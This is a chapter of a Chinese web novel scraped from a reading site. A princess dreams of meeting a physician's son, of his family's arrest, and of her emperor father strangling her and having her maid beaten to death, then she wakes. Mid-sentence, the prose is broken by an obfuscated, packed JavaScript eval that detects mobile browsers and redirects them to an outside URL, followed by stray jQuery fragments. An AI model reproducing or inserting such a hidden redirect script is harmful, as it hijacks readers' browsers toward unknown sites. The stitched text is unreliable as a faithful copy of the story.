默认冷灰
24号文字
方正启体

4. 清风入梦4

作者:橘味汁本书字数:K更新时间:
    燕昭走在长街上,一边踢着小石头,一边嘴里嘟嘟囔囔。


    “寅时起床,先背书一个时辰,再跟着听政,再上课两个时辰,午后又练骑射,接着还要习字,晚上还要练棋……谁爱练啊!到底谁爱练啊!本公主快要累、死、了!”


    她狠狠踢了一脚石头,这块石子被她从御花园踢出来,一路踢上长街,终于啪一声碎了。


    “哎呦公主殿下,您可小点声!”


    旁边的女官和她差不多年纪,白着脸冲上来拦她:“殿下偷偷跑出来就算了,这话若是叫人听见了,指不定陛下又……”


    说了一半,她发现自己的话更大逆不道,忙拍了拍嘴巴找补:


    “陛下也都是为您好,殿下,只这一次就算了,往后可不能再这样了啊。”


    燕昭瘪瘪嘴,四下环顾,发现自己已经来到宫苑偏处,四周一个人影也没有。


    她索性在长街边上席地而坐,可怜巴巴地托着脸:“画雨,你说,这样的日子,什么时候才能到头啊?”


    画雨犹豫片刻,也跟着一屁股坐下。


    “殿下,臣也不知道啊。不过殿下最近确实辛苦了,瞧着脸都瘦了。”


    她倾身打量了燕昭几眼,笑眯眯提议:“等一会儿回了宫里,臣给殿下做豌豆黄好不好?”


    燕昭眼睛亮了亮,疲惫都消散了些。


    燕宫很大,可她的世界很小。对她真心真意好的人,除了母亲容贵妃,就只有她身边的两个女官了。


    “书云比我更爱吃你做的豌豆黄,一会儿她准保提前溜进小厨房偷吃。不行,我得先藏在小厨房里,到时候吓她一跳!”


    燕昭吃吃笑起来,接着脸一板,作出一副威严样子:“但是本公主还没玩够,现在不想回去!”


    画雨也跟着笑,她性子活泼,在玩乐一事上,最和燕昭合得来。


    她眼睛一转,瞥见不远处一间空殿,“殿下快看!那处宫殿空置很久了,不如……咱们去探险?”


    两人视线一对上,不约而同爬起来,一前一后朝空殿跑去。


    这一瞬间,没有什么昭公主,也没有什么雨女官,有的只是两个半大姑娘,午后偷闲。


    燕昭也是偷偷看过民间话本的,她知道这种空置已久的住宅里,往往不是闹鬼,就是闹妖。


    再不济,有只小鸟也行,她也能玩上一会儿。


    可她怎么也没想到,在那扇老旧脱漆的宫门后,她看见了一个人。


    而且是一个……这么漂亮的人。


    空地上,草丛边,蹲着一个小公子。他像个玉雕的人似的,精致玲珑、白白净净,但又沾了满手泥——正在挖土。


    他显然不认识燕昭,见她突然出现有些懵,眼睛睁得大大的。


    燕昭觉得,她的眼睛也一定睁得很大。


    因为她从来没见过这么可爱、这么乖、这么干净的人。


    于是她毫不犹豫开口:“你是鬼吗?”


    “……啊?”


    燕昭从话本里读到过,人鬼殊途。如果这个小公子是鬼的话,那真是太可惜了。


    “所以,你是人?”


    小公子眨了眨眼睛,低头看了看自己,又抬起头来看她:“……是啊。我是人。”


    “好耶!”燕昭再无顾虑,大笑出声,三步并作两步跑过去蹲在他身边,“你在做什么?为什么要挖草?还是……野花?”


    他有些懵,似乎对燕昭的突然靠近很不习惯,但条件反射一样脱口而出:


    “这不是野花,是缬草,味辛、甘,性温,有安神镇静、止血止痛之效,且……”


    燕昭看了眼丛生的缬草,长茎顶端的小花开成伞盖,是碎碎的白色。


    她又看向旁边的人,心里再次赞叹,这位小公子可比什么花都好看多了。


    又白又软,脸颊带着点儿粉,睫毛那么长,一眨,湿漉漉的黑瞳也跟着一闪。


    还有鼻侧那颗痣,像是被人欺负哭了、眼泪胡乱淌,泪珠挂了一滴在鼻梁。


    他在说什么啊?听不懂,想亲。


    燕昭从不是犹豫的人。


    她突然倾身,吧嗒一吻啄在那颗痣上。


    他整个人愣住了。如果说他之前是有些发懵,那现在就是彻底的呆滞。


    然后,脸颊绯色肉眼可见地蔓延,整张脸一下子红透了。


    燕昭坏心眼得很,见他害羞,偏故意逗。


    “你刚才说什么草?”


    “啊……我……啊?”


    “嗯,对,你。”她揪下一把小花在手心里,“这个,是什么草?”


    “啊……嗯,忘了……”


    燕昭感觉心都快要化了。于是她再次倾身向前,在那颗小痣上又落一吻。


    “你叫什么名字?”


    “我……我姓虞。”


    “哪个于?”


    “白色的白……不对,我是说……”


    突然灿阳熄灭,晚霞洒落,燕昭发现自己又回到了宫道上,不知正朝什么地方走着。


    身后,还是画雨。


    对上她疑惑的眼神,画雨噗嗤一声笑了:“殿下怎么发呆呢?您和虞小公子约好了今日见面,不是期待很久了吗?”


    燕昭愣愣回过头,这才发现自己手里还攥着个东西。


    一枚玉佩。


    上好的玉材,触手生温,雕成鱼形,雕工拙劣至极,堪称暴殄天物。


    哦,对。她正要去见虞白,上次虞白送了她香囊,这次她要以玉佩回赠。


    燕昭雀跃起来,心口扑通扑通直跳。身后,一队带刀侍卫跑过去,急促脚步伴着刀鞘碰撞,喀嚓嚓声令人心惊。


    她没在意。


    她心情很好,为了雕出这只小鱼玉佩,她夜里挑灯练了很久,不知雕废了多少块好玉,终于能拿得出手。


    太医院就在前头了。


    后来她才知道,虞白是太医院使虞成济的儿子,时常跟着父亲在太医院学习,或者在外廷自己玩。


    这次她也是偷跑出来的。


    她事先打听了,虞院使正在给父皇诊脉,没个一时半刻诊不完,父皇不会发现她的。


    只是奇怪,那队侍卫恰好也停在太医院外头。为首的侍卫队长冲进去,粗暴地拖出来一个人。


    暮色稀薄,她好半天才看清。


    是虞白。


    大脑还没反应过来,身体先一步冲了上去,直到被一双双手臂拦下。


    侍卫们认出她,不敢拉开她,更不敢放她过去,几人协力死死拦着,不管她如何挣扎、如何喝骂。


    也是那时燕昭才发现,原来‘无能为力’这个词是痛的,像有根长钉往她脑门里钻。


    那道瘦瘦小小的身影每被拖远一步,钉子就钻深一分,搅她的脑浆、挖她的颅骨。


    突然,天空彻底黑下来。


    她没再哭了,头却还在痛。


    她跪在漆黑冰冷的大殿里,一下下叩着头,嘴里含糊不清地说着什么。


    她恍惚直起身,看向大殿深处——那里坐着一个人。


    他一身黄袍,威严冷酷,她看不清他神情,但本能地畏惧。


    也是这时,她才听清自己嘴里一直重复的话:


    “儿臣燕昭,请求父皇开恩,宽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168722|165133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宥虞氏一族。儿臣燕昭,请求父皇开恩,宽宥虞氏一族。儿臣燕昭,请求父皇开恩,宽宥虞氏一族。……”


    额头温热,不知是汗还是别的什么,缓缓淌下来。


    就这样叩了很久的头,直到她前额麻木了,嗓子也哑了,才听见座上人说话。


    “你想救那家庸医?”


    才不是庸医……但她想。


    “你从何得知,虞家获罪?”


    她亲眼看见的。


    “你看见?可是,阿昭,朕明明记得——这是你习字的时辰。”


    ……


    “谁陪你去的?说。”


    ……画雨。


    燕飞鸿终于笑了。某一瞬间,他甚至像个慈父。


    但燕昭反而更害怕了。


    父皇几乎从来不笑。


    除了……


    “来人。”


    殿外隐约传来一声尖叫,似乎有谁被扣下。


    接着,两个冰冷的字敲在燕昭耳膜。


    “杖毙。”


    嗡鸣声席卷而至,过了好久她才反应过来,那不是雷声,也不是狂风,是她的耳鸣。


    噪音退去后,第一个刺进她耳中的,是画雨受刑的惨叫声。


    她想起身去拦,可膝盖早已跪软,还没起身就先摔倒在地。余光里闪过一抹明黄,紧接着,她喉头一紧。


    燕飞鸿,她的父亲,攥住她脖颈,将她提了起来。


    “阿昭。”


    燕昭死命抓着脖子上那只手,但无力似乎是这黑暗一日的主题,无论她如何使劲,那只手都像铁钳,纹丝不动。


    “阿昭。你是朕的女儿,你永远不能忤逆朕。朕让你习字,你就习字,朕想杀谁,朕就杀。明白了吗?”


    燕昭感觉眼前一点点发黑,胸腔因窒息而发痛。


    耳边也变得模糊,殿外的痛呼声快要听不见了。


    她不知从哪爆发出一股力气和勇气,手指狠狠戳向面前人眼睛,毫不留情,像是要与人同归于尽。


    脖子上的手先一步松开了。


    她扑通一声摔倒在地,还没爬起来,先嘶吼着质问起自己父亲——


    “皇后已经诞下一子,大臣也都想让他当储君,你为什么还要逼我学功课?”


    “父皇……你要我做这些,好,我可以做,但是,我只在意这几个人……为什么你连他们也不留给我?!”


    轰隆一声,这次不再是耳鸣。


    惊雷突降,从穹顶到大地撕开惨白电光。掌中刺痛这才传来,她恍惚地抬起手,入目一手的红。


    白玉雕成的小鱼,拙劣但认真的刻痕,断成僵硬的两截。


    掌心缓缓涌出血,殷红横贯手掌,像一尾鲜艳锦鲤。


    耳边传来声音,过了好半晌,燕昭才听懂。


    “朕说过,朕的旨意,你只能听从。”


    燕昭缓缓抬起头,视线从手心的红挪开,却看见了满庭更刺目的红。


    她一起长大的玩伴,她最重要的人之一,于她而言像姐妹一样的存在。


    画雨僵硬地躺在大雨里,死在她面前。


    她眼前一黑,然后猛地亮了。


    映入眼帘的先是如梦如幻的纱帐,接着是轻柔温暖的烛光。


    “殿下?”书云在帐外轻唤,“寅时正了。殿下要起身吗?”


    意识缓缓清明,燕昭‘嗯’了声,翻身坐起。


    书云端来漱口茶水,轻声问候:“殿下日安。昨夜,殿下睡得可好?”


    “尚可。”


    燕昭接过茶水,偏头想了想。


    “好像……没有做梦。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)